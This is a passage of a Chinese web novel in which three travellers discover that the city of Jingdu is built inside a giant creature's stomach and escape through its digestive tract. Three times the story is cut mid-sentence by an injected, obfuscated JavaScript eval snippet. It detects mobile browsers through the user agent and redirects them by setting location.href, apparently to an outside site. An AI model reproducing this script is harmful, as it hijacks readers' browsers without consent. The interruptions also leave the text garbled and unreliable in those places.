“你一直在广场上等我吗?” 想到池田司的话,她忍不住问道。 “你以为你有多重要,我等你做什么?”苏榕瞥她一眼,“碰巧在广场上有事,没想到你和你的伙伴也来广场上了,只是凑巧而已。” 池遥在心中叹了口气。 一段时间不见,怎么更别扭了,好难应付啊,苏榕的人形完全没有小猫形态可爱。 “你就是他一直在等的伙伴吗?” 听了二人的对话,苏榕对面的男人用温和的目光看向池遥。 池遥点点头。 “你别听他这么说,这孩子脸皮薄,总是不喜欢说实话。” 男人拍拍苏榕的肩膀,不顾一旁脸颊迅速升温的苏榕,对池遥说道。 “这孩子一直在广场上等你呢,每天早早就来了,一等就是一整天,都等了十几天了,你一定是他很重要的朋友。” “这个喷泉广场的喷泉有个别名叫做许愿喷泉,这孩子听说这里许愿很灵,每天都来这里许愿你平安呢。别看他看着冷淡,实际上很在乎你这个朋友。” 苏榕低着头,连一向笔挺的肩背都蜷缩起来,双手捂住脸,白皙的指尖之下是红到熟透的脸颊。 他看起来慌极了。 “别说了......” 他似乎很想发火,可是这幅模样说出来更像是在恳求。 池遥觉得有点好笑,忍不住勾起嘴角,被恼羞成怒的小猫瞪了一眼,默默收起笑容。 “谢谢您啦,他一直是我很好的朋友,我清楚他的性格。” 她拍拍苏榕的肩膀,朝着热心路人道谢,对方与池遥寒暄两句,就离开了。 天色更晚了,广场上只剩下了他们三个人,池遥静静等着苏榕给脸降温,等他面色重新变得白皙,才歪着头,笑眯眯地问他。 “没看出来啊,这么在乎我啊?” 苏榕的脸“嘭”的一下,再次爆红。 “你闭嘴!” 179. 鲸都之外2 对于苏榕的怒火,池遥只当是脸皮薄的小孩恼羞成怒罢了。 既然来到了熟悉的广场,接下来,萧俨就能找到回旅馆的路了。 “你之前说,你的同伴是一只能变成人形的小猫。” 萧俨凑近池遥,悄声说道。 “对啊。” 池遥看了一眼苏榕,她似乎没说错。 萧俨也跟着扭头瞥了一眼苏榕,注意到两人似乎在议论他,苏榕回他一个锐利的眼神。 “哎呀,的确是张牙舞爪的小猫。” 萧俨冲苏榕笑了笑,回过头,轻声评价。 最初听到池遥的话时,萧俨以为与池遥失散的真是她的宠物猫,只不过今天见面才发现,并非宠物,而是一个能够变成猫的能力者。 只不过,在池遥的视角里,她显然还没把对方当成同伴,而是当做自己的宠物来看待。 看那孩子张牙舞爪,冲池遥生气又无计可施的样子,可怜极了。 听了萧俨的话,池遥才意识到,自己还没有向苏榕介绍新同伴。 “苏榕,”她轻轻碰一下苏榕的手,指了指另一边的萧俨。 “这是我在鲸都遇到的新同伴,叫做萧俨,也是从其他世界来的旅人,他在找他的双胞胎弟弟,我朋友和他弟弟似乎都去了一个叫做梦之画廊的景点。” 顺便向苏榕同步了一下他们现在所得的信息。 “这是苏榕,我的猫猫同伴。” 面对萧俨,池遥的介绍就简短多了,和萧俨一同游览鲸都的时间里,池遥和他说了很多和苏榕有关的事。 与池遥不同,池遥只在刚到鲸都的时候来过一次音乐喷泉广场,而这个广场,萧俨单独外出的时候路过了几次,不过没有注意过广场上的人,对苏榕也没有印象。 他不是没留意过池遥描述的同伴,但池遥的描述中,苏榕一直以小猫“绒绒”的身份出现,他不清楚苏榕人形的长相。 池遥也没想到苏榕会以人形现身,其实仔细想想,鲸都没有动物的概念,只有兽人的存在,变成动物形态比人类形态还要引人注目,苏榕肯定不会再变成人形。 但在前两个世界,与苏榕初见,重逢时,苏榕一直是漂亮矜贵的白色小猫形态,池遥的思维形成了惯性,本能地认为在新的世界,苏榕也会以小猫的形态出现。 “他是旅人?” 听了池遥的话,苏榕看萧俨的目光更为警觉了,一把攥住池遥的袖子。 池遥不知道大部分旅人之间是会自相残杀的吗? 尤其是狂热追寻伊甸的那些旅人,他们坚信进入伊甸的名额是有限的,会消灭和他们目标相同的旅人。 “我的目标不是伊甸,对伊甸也不感兴趣,我有其他的目标。”萧俨立刻为自己辩解。 虽然听殷蘅讲过伊甸的事,但池遥对伊甸也毫无兴趣,此时听到萧俨的话,才想起来和伊甸有关的事。 “我和池遥的目标相似,都是要找人的。” 听了萧俨的话,苏榕的表情才缓和了一点。 “找到你弟弟之后,你打算做什么呢?” 池遥在一旁问他。 寻找曲卓的路程恐怕是个长战线,她和曲卓之间相隔好几个月的时间差,池田司给出曲卓去过的景点名字后,池遥就觉得曲卓八成是已经离开鲸落,去到下一个世界了。 但萧俨不一样,据萧俨所说,他是和他弟弟一起来到这个世界后失散的,他弟弟应该还在鲸落世界,说不定还没找到梦之画廊,萧俨就能和他弟弟团聚。 “没想好呢,我俩一起跟着你?” 萧俨微微凑近池遥的脸,朝她笑了笑。 池遥已经习惯了萧俨略显虚伪的笑容,但见到长相姣好的陌生男人冲池遥笑,苏榕面容紧绷,一把拉过池遥,把她拉到自己身后。 和池遥一起同行了三个世界,苏榕已经隐隐发现了池遥的弱点。 池遥总是轻易相信长得好看的男人。 那个苏榕没见过的殷蘅是这样,丧尸围城世界的一大堆男人是这样,现在轮到面前的萧俨了。 其实不仅是长得好看的男人,池遥对大部分人都不太设防,她习惯性先对所有人摆出接纳的态度,又不会和任何人真正交心,一说起朋友这个词汇只能想到那个和她失散了大半年的曲卓。 似乎除了曲卓的事,她对其他事都不太在意,也不太上心。 “我的目标一直都是找到朋友,你们如果要跟我同行的话,恐怕就只是跟我一起追着她的踪迹到处找人。” 池遥坦诚地回答。 即便执着于寻找曲卓,但寻找朋友是她自己的课题,她不能强求其他人陪着她一起寻找。 “我可以帮忙呀,我的能力很强,我弟弟虽然比我差一点,但他有很多道具,肯定能帮上你的忙。”萧俨仍旧笑着回应。 池遥没有回答萧俨的话。 萧俨和苏榕不太一样。 池遥不知道苏榕的过往,但苏榕永远独来独往,似乎既没有来处,也没有去处,他很明确的告诉过池遥,自己并没有目标,因此池遥可以心安理得地把苏榕留在自己身边。 可萧俨大概是不同的。 萧俨有自己的故乡新都,有他自己的双胞胎弟弟萧燃。池遥至今不知道他们来到鲸落的目的,也不打算问,他们必然有想做的事,不可能一直与她同行。 正因为迟早会与萧俨分开,因此,他身上的那些谜团,池遥也一并选择了不计较。 …… 过了好一会儿,终于回到了旅店。 来到鲸都已经将近一个月了,池遥和萧俨长租了一个月时间的旅店,也只剩下了几天时间。 即便已经疲惫不堪,但这次去到监狱收获的信息太多,而且刚和苏榕重逢,也要把池田司的事告诉苏榕,因此,池遥强打精神,拉着苏榕,跟着萧俨一起去到了他的房间,将最近的事整理了一遍,才回房间睡觉。 回房间的时候,还带上了已经变成小猫的苏榕。 鲸都的睡眠舱不比普通床铺,苏榕不能再窝在池遥床头,只能窝在床尾。 “我的脚会碰到你没关系吗?” 池遥问了一句,又想到自己糟糕的睡眠,自己入睡后稍微一动弹就会转醒,恐怕还没碰到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17256005|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏榕,就已经把脚收回来了。 “你的睡眠现在还是不好吗?”苏榕的声音从脚边传来,闷闷的。 “嗯。” 池遥知道自己睡眠不好的原因,故乡刚刚进入末日的时候,她还是个普通人,在基地与曲卓分开,几十个普通人一起睡在不大的库房里,她能力太弱,害怕被人觊觎,久久不敢入睡。 现在看来,在黑哥基地的那段时间十分短暂,可在那时身为普通人的池遥看来却十分漫长,充满了担忧和恐惧。 虽然也有对她好的人,譬如曲卓和温俭,可也有很多对她虎视眈眈的人。 直到如今,池遥都很难陷入深度睡眠,潜意识里太缺乏安全感,连睡眠都常常惊醒。 在觉醒了精神力后,池遥的睡眠质量好转了一点点,不过也只是一点,她在睡前会拉扯出一根精神力细丝,悬停在睡眠舱外一米处,但她的精神力太弱,坚持不到第二天,往往几个小时就消散了。 过于疲惫之下,池遥没过一会儿就陷入睡眠,脚边的白色毛团蠕动一下,意识到她睡着后,僵在原地,一动都不敢动,生怕将她吵醒。 第二天中午,萧俨来到了池遥的房间。 “池遥,”他的掌心中躺着一个熟悉的小摆件,这是萧俨送给池遥的礼物,一对摆件一人一个,摆放在两个房间的窗边。 “这个不是普通的摆件,是一个小道具。” 他来到窗边,将池遥的摆件递给她。 “这是一个记录天气的道具。” 池遥将自己的能力注入进去,立刻看到了道具介绍。 【小猫抱月】 基础款天气记录道具,旅行必备好物,最多可连续记录三十天的天气。可当普通摆件使用。 很快,眼前探出了道具观测的,来到鲸都以来的天气情况。 这枚道具记录的内容十分详细,天气和气温情况可以细化到每一分钟。除此之外,还精准记录了每天的日出日落时间。 池遥看着眼前的记录,久久说不出话。 来到鲸都的这二十几天的日出日落时间都是一样的。 每一天都是精准的六点钟日出,八点钟日落,毫无变化,连秒数都完全相同。 这不正常吧? 在池遥的印象里,四季有明确的时间划分,夏季昼长夜短,冬季昼短夜长,每一天的日升日落时间都不相同。 可是,造成这一现象的原因是地球的自转和公转,而这个世界可能并不是她熟悉的,以星球为载体的世界。 但鲸都明明存在太阳啊。 她踏足过的世界还是太少了。 “日出日落时间一样......这是正常的吗?” 不仅如此,天气道具显示,鲸都在这二十天以内的温度大体相同。 在太阳光的照射之下,一日间气温大多会呈现白日温暖,夜晚寒冷的趋势,然而,鲸都的温度虽然有波动起伏,却不是按照昼夜为基准进行的。 鲸都的白天与黑夜,温度相同。 还有一点同样诡异。 这二十多天以来,鲸都从未降过雨。 180. 鲸都之外3 “我去过的世界数量也不算少,从来没见过每天的日出日落时间完全相同的世界。” 萧俨沉下表情。 “无论是什么原因,只要有日升月落的过程,每天的日出时间就不可能完全相同,甚至精确到秒,鲸都不对劲。” 池遥点点头,在空间吊坠里翻找半天,找出了一袋压缩饼干和饮用水,和苏榕以及萧俨分着吃掉了。 在池田司提醒过二人,不要再吃鲸都本土的食物后,两人一直没有继续食用补剂,在外的两天吃的是萧俨吊坠空间内的食物。 她隐约明白池田司说的话,他的意思很明显,整个鲸都就是一个巨大的认知错觉。 可是,要如何打破错觉? 只靠不摄入鲸都的食物就能够打破吗?那么她刚来到鲸都的时候,就应该已经看到鲸都的本质了。 池遥忍不住叹了口气。 身边的苏榕已经明白了他们纠结的问题,思索片刻,主动开口。 “池遥,你刚来到鲸都的时候,有没有感受到空气不太对劲?” “明明鲸都整个城市很干净,但是空气却不是很清新,有点浑浊,隐隐有一股......” 他说不上来当时的感受。 起初似乎确实有一些奇怪的地方,但在摄入了鲸都的补剂之后,那种怪异的感觉逐渐消褪了。 他一直以为是自己适应了鲸都的环境,现在重新回想,难不成是因为补剂中的成分扭转了他的感官? “腥味。” 然而,一旁的萧俨却接过了他的话。 青年轻轻耸动一下鼻子,鼻翼翕动两下,得出了这个答案。 然而,池遥和苏榕却完全没有闻到这种味道。 无论池遥多么努力地嗅闻,涌入鼻腔中的空气都没有任何异味,不说十分清新,但似乎也没有她刚来到鲸都时感受得那么浑浊。 “你能闻到吗?”池遥蹙起眉头。 苏榕闻不到很正常,毕竟苏榕昨晚才和他们重逢,他昨天还摄入了补剂,但自己已经有两天没吃过补剂了,不应该只有萧俨能闻到味道啊。 她的嗅觉好歹也是经过强化的,不应该和萧俨相差太多才对。 “我什么也闻不到。” “不应该啊,你五感已经强化过,嗅觉应该......” 萧俨嘴里轻声嘟囔一句,目光反复打量着坐在他对面的池遥。 很快,他就找到了原因。 “池遥,你把连体衣的所有功能全部关掉,再试试。” 池遥看向对面的萧俨。 他上午刚刚沐浴过,来到池遥房间时,头发丝还在滴水,只穿了一件简单的长款浴袍,没有穿鲸都人手一套的连体衣,而池遥和苏榕则穿戴整齐。 此时,他和池遥的最大差别就是,池遥穿了鲸都的连体衣。 鲸都的连体衣有很多功能,一直以来,他们早就习惯打开连体衣的所有功能,但说不定,连体衣也和补剂相似,拥有误导感官的功效。 萧俨和苏榕都在房间里,池遥就算想换衣服,也有点麻烦,于是立刻关掉了连体衣的所有功能。 顿时,原本紧密贴合身体的连体衣变得松松垮垮,成为了一件再普通不过的衣服。 池遥闭上眼睛,将所有注意力集中在鼻腔,深吸一大口气。 渐渐地,她终于闻到了。 关闭连体衣的功能,摒弃掉视觉效果,鼻腔的空气恢复了她一开始来到鲸都时的浑浊感。 只不过,仔细感受,的确有一股若隐若现的腥味。 池遥终于明白了萧俨的话。 她掏出纸笔,在桌上依次写下了鲸都的疑点。 每隔几小时就会发生一次地震,一天大概三到六次。 日出日落时间相同,连续一个月无降雨,日间温度无变化。 空气浑浊,有腥味,不明显。 只有人类,没有动物。 植物在此处无法生长。 写到这里,她将手里的笔递给一旁的萧俨,萧俨接着她的笔迹继续写。 法外之地的天空和土地是深红色的,有红色的雾气,地震比鲸都境内更剧烈。 监狱底层地震时,地面会直接消失,地震结束后恢复原状。 ...... 白纸上的文字越列越多,然而,合在一起时,三人仍旧毫无头绪,无法通过整合在一起的线索推断出新的东西。 于是,池遥换了一张纸,在上面写下了鲸都城市制度的异常。 皇室掌权,权力极度集中,几乎所有政府部门都直属皇室。 极度重视繁殖后代,拥有繁殖能力的女性地位高于男性,女性无法生育视为犯法。 超过四十岁的人会被处决掉。 没有本土能力者,至今为止见到的所有能力者均为旅人。 豢养兽人作为宠物。 萧俨照常在她的文字地下进行补充。 新生儿统一送进保育院抚养。 科技发达,研制出了补剂,连体衣,路边的拟态。 看着这一行字,池遥突然想到什么,打了个寒颤。 “我们在路边看到的所有绿色植物,全部都是高科技拟态,对吧?” 萧俨和苏榕齐齐点头。 “本来以为只有街道上的绿植是拟态技术,但我们昨天看到的广场上的喷泉,也是拟态形成的。” “那么......” 池遥指了指窗外。 “有没有可能......” 她的想法过于离奇,实在不敢直说出来。 顺着她的指尖看去,窗外的天幕碧蓝如洗,澄澈而美丽。 但是,鲸都的每一天,似乎都是同样的天空。 遵循着完全相同的规律,日升日落。 有没有可能,连头顶的天空,都是完全虚假的,由鲸都的拟态形成的呢? 如果鲸都的天空不是拟态的话,为什么鲸都境外,不法之地的天空会是深红色的呢? 一时间,萧俨和苏榕都没说话。 “你说得对。” 许久,萧俨才开口。 然而,如果连头顶的天空都是虚假的…… 那么鲸都的人究竟生活在什么样的环境里? 这个世界的本质是什么呢? 解开了一个问题,又产生了无数个问题。 池遥正对着桌上的线索纸发呆,耳边突然传来了一阵铃声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261681|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旅店外,街边的喇叭里又播放起了熟悉的铃声,预示着地震即将发生。 在鲸都的这段时间内,同样的铃声三人已经听了无数遍,此时听到铃声,动都不动一下,继续对着线索纸发呆。 鲸都的地震剧烈又短暂,只要扛过剧烈摇晃的几十秒,就无事发生。 苏榕变成小猫,从桌上跳进睡眠舱内,见池遥还坐在原地,冲她叫了一声。 在苏榕的催促下,池遥站起身,钻进睡眠舱,看向一旁的萧俨。 萧俨正把桌上的东西收进空间里,察觉到池遥的视线,他朝池遥摇摇头,示意自己没事。 池遥就放心地钻回了睡眠舱,没关闭舱门,睡眠舱的舱门不大,就算不关也不会出问题。 很快,地面就剧烈摇晃起来,与此同时,蜷缩在睡眠舱内的池遥和倚靠在墙角的萧俨同时皱起了眉头,捂住鼻子。 就在地震发生的瞬间,原本只是有些浑浊,有一丝腥味的空气,突然变了。 剧烈摇晃的地面之下,散发出了夹杂着腐烂味道的腥臭味,味道过于刺鼻,池遥捂着鼻子硬抗了几秒,决定不折磨自己,关闭睡眠舱门,打开了睡眠舱内的空气净化功能,同时还把身上连体衣的功能也全部打开了。 顿时,鼻腔内的空气恢复了洁净,即便知道自己此时的感受是错觉,真正的空气应该还是腥臭味的,但池遥还是松了一口气。 地震很快结束,池遥打开舱门,抱着小猫从睡眠舱内钻了出来。 萧俨仍旧靠在墙角处没动,遮挡在鼻子前的手已经放了下来,然而,池遥能明显看出他被刚才的臭味折磨得不轻,脸色都白了几分。 “你没事吧?” 池遥一边说,一边重新关闭连体衣的功能,试探着吸了一口气。 神奇的是,地震一结束,刚刚闻到的腥臭味也消散了不少,此时闻到的空气又恢复了正常,是浑浊却不至于反胃的空气。 见池遥和苏榕从睡眠舱里出来,萧俨无奈地朝她笑笑,回到桌边坐下,恢复桌面的陈设。 而池遥则拿起笔,在第一张纸下补充了一点。 平时空气浑浊,地震时会散发出浓重腥臭味。 然而,造成这一切的原因是什么呢? 她仍旧毫无头绪。 窗外,地震结束后,街道上避难的人各回各家,略显拥挤的街道再次恢复了原样。 这些人不知道他们所处的环境究竟是什么样,只浑浑噩噩在此处生活短短四十年,受处决而死。 甚至可能无法活到四十岁,在四十岁之前就因为各种意外,或失踪,或触犯各种法规被抓进监狱。 头顶的阳光灿烂而柔和,完全无法感受到照射在身上的暖意。 因为那本就是假的。 鲸都人生活在虚假的天空之下,呼吸之间感受到的是虚假的空气,平时摄入的是成分不明的补剂。 走在鲸都街道上,观赏到的所有景观均为拟态技术打造的虚假景色。 遵循着怪异而扭曲的规则,活在这诡异的都市之中,连寿命都被缩减成短短四十年。 这就是鲸都。 表面是一座干净宜居的未来都市。 而它的本质,池遥尚未找到答案。 181. 鲸都之外4 接下来一连好几天,三个人都没有得出任何答案。 几天后,池遥从睡眠舱中起来,一睁眼,就感受到不对劲。 这几天,她关闭了防护服的所有功能,也没有使用任何来自鲸都的物品,睡眠舱的功能也全部关闭了。 逐渐地,她发现自己对周围的异状越来越敏感,空气里的异味越来越重。 再次发生地震时,池遥与萧俨在室外,认真地感受到了脚下的地面摇晃的程度。 与普通地壳运动引起的地震不太一样,池遥隐约觉得脚下的地面仿佛变成了活物,隔着地面铺设的地砖,下面的东西在蠕动。 地震时闻到的腥臭气味,也是地面之下散发出来的。 闻多了这种味道,池遥反应过来,这种气味有点像呕吐物的味道,恶心至极。 但正因如此,她才有了一个大胆的设想。 鲸都这座城市所在的区域,有没有可能是一个活物? 或者说,鲸都是建立在某个巨型生物的躯体之上的? 频繁的地震只是因为“它”在活动? …… 然而,这一天醒来,望着与以往所见完全不同的环境,池遥一时间僵住了。 她似乎猜错了。 不知为何,她的视觉似乎更加敏锐了,以往占据她全部视野的天空拟态,变成了半虚化的影子,而她能清楚地透过拟态投影看到背后的东西,也就是拟态所掩盖的真相。 入目是深红色,正在蠕动的,天空。 与她在不法之地看到的天空也完全不一样,不法之地的天空只是颜色不同,还有着天空的形态,但此时头顶的东西,只是一面不停蠕动的肉壁。 难不成,这才是鲸都的真相吗? 池遥站在窗前,直直望着窗外的天空,她能看到周围干净整齐的房屋,但同时也看到了虚化的花坛,草坪影子。 立在街道两侧,造型华丽的灯柱实际上只是个空荡荡的杆子,上面的装饰品和灯光全部都是拟态。 房屋虽然是真实存在的,可商店头顶的牌匾,超过二层的小楼表面的墙体,全部都是拟态。 去除掉拟态,鲸都只是一片荒芜,寸草不生,只立着稀稀拉拉的房子的半废墟。 “你能看到吗?” 她问一旁的苏榕。 “我眼里的景物和之前没有区别。” 苏榕摇摇头,他看不懂池遥眼中突然出现的恐慌,但隐隐感觉到有大事发生。 “池遥!” 房门外传来萧俨的声音。 苏榕把房门打开,萧俨冲进了房间,一向游刃有余的神色少有地有些凝重。 “你是不是也看到了?” “我看到天空变了。天空的拟态之下是正在蠕动的深红色......肉块?” 池遥将自己看到的景象说给萧俨。 “果然,我也看到了。” 萧俨蹙起眉头。 “但是很奇怪,只有你和我看到了,苏榕眼中的鲸都没有任何变化。” 池遥补充。 “池遥,距离我们最后一次喝补剂,过了多久了?” 萧俨突然问。 池遥回忆了一下,最后一次喝补剂,已经是潜入监狱之前了。 “已经过了七天了。” 她在心中计算了一下。 “对,池遥,我怀疑是我们之前摄入的补剂效果彻底消失了。苏榕戒断补剂的时间没有我们早,所以还看不到头顶的东西。” 七天的时间,无论补剂里掺杂了什么物质,都足够被新陈代谢出去了。 萧俨的话有道理,池遥点点头,继续说道。 “现在头顶是红色的......那种东西,鲸都不能继续待了,我们得找到出去的办法。” 正巧,今天是租住在旅店的最后一天,原本池遥和萧俨约定的也是旅店到期后想办法离开鲸都。 离开旅店后,来到室外,周围的气氛更为压抑。 在室内时,池遥只能透过窗户观察肉壁天空,然而此时来到室外,只要稍微一抬头,整片头顶都是无边无际的红色肉壁。 只要看到头顶的肉壁,就觉得呼吸进来的空气更加污浊恶心,池遥默默捂住了口鼻。 鲸都街道上的行人察觉不到真相,仍旧一无所知,而站在街道中间,一直抬头望天的池遥和萧俨两人遭到了不少行人的注目。 萧俨从空间里找出口罩,递给池遥和苏榕,池遥立刻戴上,挡住了有些发白的脸色。 “我们是不是在什么生物的体内?” 池遥忍不住开口。 “大概是的,池田司说我们要找的景点在鲸都之外,恐怕就是这个意思,我们得先找到办法从这个生物体内离开。” 萧俨回答。 如何离开这个生物体内? 池遥立刻想到了他们在监狱底层看到的一幕。 地震时,监狱底层的地面会消失,地震结束后,地面又会恢复原状。 如果掉进地震时产生的空洞内,就会永久消失。 消失的人去哪儿了? 除了监狱底层之外,据池田司所说,法外之地地震时,地面也会产生巨大的裂缝。 当时,由于体内补剂的作用,地震时,池遥只能看到下面是一片黑黢黢的空洞,现在想必能够看得更清楚了。 “我们去法外之地吧。” 想到这里,她立刻开口。 “嗯,我也有这个想法。” 几人最后一次去到租车行,租了一辆悬浮车。 不过,这一次,池遥看清了,悬浮车本质上只是一个可以移动的车架子,除了内部的框架结构以外,外部的漂亮色泽,以及炫目的色彩特效,也全部都是拟态作用。 鲸都可真是把拟态利用在了各行各业。 悬浮车只能承载两个人,苏榕变成小猫窝在池遥的怀里,萧俨设定了距离法外之地最近的目的地,小车晃晃悠悠启动。 没开一会儿,路面上再度传来了刺耳的铃声。 萧俨驱车停下,与池遥一起下了车。 这一次,地震时,池遥透过松动的地砖,清晰地发现了,不止头顶,他们脚下的地面也是深红色的肉壁,只不过这片肉壁不常活动,而且肉壁之上铺设了地砖,若不是地震,她根本发现不了脚下的地面是什么。 而他们一直以来认定的地震,只是肉壁蠕动时造成了晃动。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273173|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 看到脚下的肉壁,池遥已经能够确定了,他们一定是在某种生物的体内。 几小时后,他们到达了法外之地。 鲸都的地面铺设了一层地砖,走起来坚硬而平坦。而法外之地的地面就是原原本本的肉壁,肉壁表面还挂着一层黏液。脚踩在肉壁上时,池遥隐约能感觉到脚下不同于坚硬地面,柔软而黏腻的恶心触感。 空气里腐臭味十分明显,被血红色的雾气弥漫的地方全部都是腥臭味。 他们在原地等待。 雾气越来越淡。 周围的雾气散尽时,脚下的地面也开始晃动。 池遥抱紧怀里的苏榕,忽然听到了身边萧俨的声音。 “池遥,把连体衣所有功能全部打开。” 即使鲸都的连体衣容易混淆感官,但内置多种防护功能,一旦遭遇危险,就仿佛多了一层外置装甲,关键时刻可以救命。 池遥立刻打开连体衣的全部功能,一手抱紧怀里的苏榕,另一只手紧紧握住萧俨的手,一方面是防止三人失散,也是为了遭受危险时第一时间治疗他们。 或许是失去了地砖的防护,脚下的肉壁剧烈蠕动,慢慢向下倾斜,逐渐形成一个巨大的管道。 与此同时,池遥看到了肉壁之上的黏液跟随着收缩,原来这不仅仅是依附在肉壁之上的黏液,还有一层透明的薄膜,此时,部分薄膜打开,就产生了巨大的裂口。 “池遥。” 与萧俨相连的手被用力拉了一把,萧俨单手揽住她,把她怀里的小猫也牢牢固定在怀里。问她。 “你相信我吗?” 池遥点点头。 感受到池遥的动作,萧俨深吸一口气,趁着地震还没有结束,抱紧池遥,纵身跳进地面的裂口当中。 池遥说得对,他们此时正处于一个巨型生物的体内。 那么,该如何离开这里? 他决定赌一把。 池遥屏住呼吸,将整张脸埋在池田司怀里,以此来抵挡对失重的恐惧。 但萧俨的手很稳,很有力,即便处于失重的状态之下,也一直紧紧揽着她,连她怀里的苏榕都没有放过。 一片令人恐慌的黑暗里,池遥闭上眼睛,强迫自己思考。 池田司每一次让她帮忙治疗时,都会打开胸膛,拜他所赐,池遥少有地仔细观察了人体的内部构造。 正因如此,当眼睁睁看着脚下的肉壁蠕动时,她就意识到了,此时他们正在某种生物的胃里。 空气中弥漫的腐臭味是胃液的气味。 频繁而剧烈的地震是胃壁收缩,也就是胃蠕动的结果。 食物会通过咽喉和食管进入胃部,在胃部碾碎后进入肠道,食物在肠道被消化,最终剩余的残渣会被排出体外。 那么,每一次地震时产生的裂口,就是通往肠道的入口。 萧俨想必也是抱着这样的希望,纵身跃入了生物的消化道。 他们身上的连体衣拥有强大的防护能力,又有池遥的治愈能力的双重保护,说不定真的能熬到最后关卡,被排出体外。 虽然过程有些不体面......很不体面,但只要有希望离开生物体内,他们就可以接受。 182. 深海1 周围一片漆黑,令人作呕的腐臭充斥着鼻腔,几乎让人无法呼吸。 他们似乎不再陷入失重状态,但脚下仍旧踩不到实物,只感觉到被什么东西挤压着,以缓慢的速度下坠。 池遥尝试过睁眼,但视野尽头仍旧是一片漆黑,她只能感觉到萧俨紧紧扣住后背的力度。 确定自己并非孤身一人,让她多了些勇气。 周围的气味太刺鼻,她根本无法张嘴与萧俨沟通,只能尽可能地将脑袋埋进萧俨怀里,以隔绝气味。 萧俨身上的外袍有淡淡的香气,但这种味道维持不了多久,在这里停留太长时间,他们都会被腌入味。 池遥被周围的气味熏得头疼,只能尽可能转移注意力,努力调动大脑。 现在看来,鲸都是一座建在巨型生物胃里的城市。 人类在巨型生物胃里安家,在这种贫瘠的环境中逐渐发展出了独特的文化和习惯。 可是,问题又来了。 鲸都为什么会建在巨型生物胃里? 这是末日前还是末日后发生的事? 如果人类是在末日发生后迁移到巨兽胃里存活,那么鲸都之外的世界,究竟是什么样子? 池遥无法想象。 如果鲸都是人类在走投无路之下的最后选择。 那么外界会变成什么样子? 无形的恐惧从心底扩散开来。 此时他们在巨兽的肠道内,无论做什么都无济于事。 只能耐心等待,从巨兽体内排出的那一刻。 漫长的黑暗里,人类很容易失去对时间的感知。 似乎意识到了这一点,每隔十分钟,苏榕的爪子就会轻轻碰一下池遥和萧俨。 在苏榕的提醒之下,池遥渐渐镇定下来。 本以为已经过了几天几夜,实际上只是几个小时而已。 这段时间,他们一直在顺着肠道下移,速度不慢。 不过,如果她们真的在一个巨型怪物的体内,他们还要等多久才能离开巨兽体内? 萧俨紧紧扣着池遥腰背的手指突然在她背部轻敲两下。 池遥会意,双臂紧紧抱住他。 萧俨这才放开抱着池遥的手。 又过了一个小时,周围的气味变了。 由恶心的腐烂臭味变成了极为浓重的酸臭味。 紧接着,池遥只觉得有什么恶心的粘稠液体包裹住了她,暴露在外的皮肤顿时产生了强烈的灼烧痛感。 幸好身上的连体衣包裹住了大部分皮肤,隔绝了黏液的腐蚀。 她能感觉到萧俨的身体也痛得一颤,随后绷紧,立刻调动治愈能力,缓慢地注入到自己和萧俨身体里。 而苏榕由于被他们二人护在怀里,接触不到外物虽然是猫咪形态,没有连体衣防护,但也没有受到黏液寝室。 现在恐怕是进入消化阶段了。 接下来,他们仿佛进入了无边际的黏液海之中,四周都是酸腐的黏液。 池遥的脸受到了从未有过的侵蚀,整张脸皮仿佛被火烧尽,池遥在剧痛中艰难保持意识,每隔半小时就给自己和同伴注入一点治愈能力。 这点治愈能力根本无法治愈腐蚀的伤痕,只能勉强缓解一点痛苦。 在这种环境里,即便池遥花费大半治愈能力,将三人身上的全部伤口治愈,下一秒也会再度被黏液腐蚀。 只是,若不使用一点点能力缓解剧痛,池遥也很担心自己和同伴失去意识。 足足一整天,他们终于脱离了黏液,陷入一堆食物残渣之中,不停下坠。 池遥的治愈能力还剩下大半,这才治愈了自己和同伴身上的伤口。 面部皮肤快速恢复,她在心中长出一口气。 她的脸一直埋在萧俨胸口,能听到他有力的心跳,苏榕一直在计算时间,不仅是为了提醒他们,也是在无声地告知两人自己的情况。 池遥每隔半小时输送一点治愈能力,同样也是在暗示同伴二人,自己还活着,还有意识在。 他们都平安无事。 池遥一直紧紧抱着萧俨,萧俨双臂可以自由活动,此时抬起一只手,去摸索巨兽的肠道肉壁。 他们在肠道里停留太久了。 已经过了两天时间,他们却仍旧被困在这里。 他小心翼翼地调整身体,慢慢挤向甬道边缘,终于,探出的手摸索到了柔软的肉壁。 另一只手从吊坠里抽出一把刀,狠狠插进巨兽的肠管之中。 紧接着,萧俨握紧刀柄,另一只手抱紧池遥,瞬间发动能力,以无法被肉眼捕捉的速度快速下坠。 不多时,巨兽的肠道被他划破一个巨大的裂口。 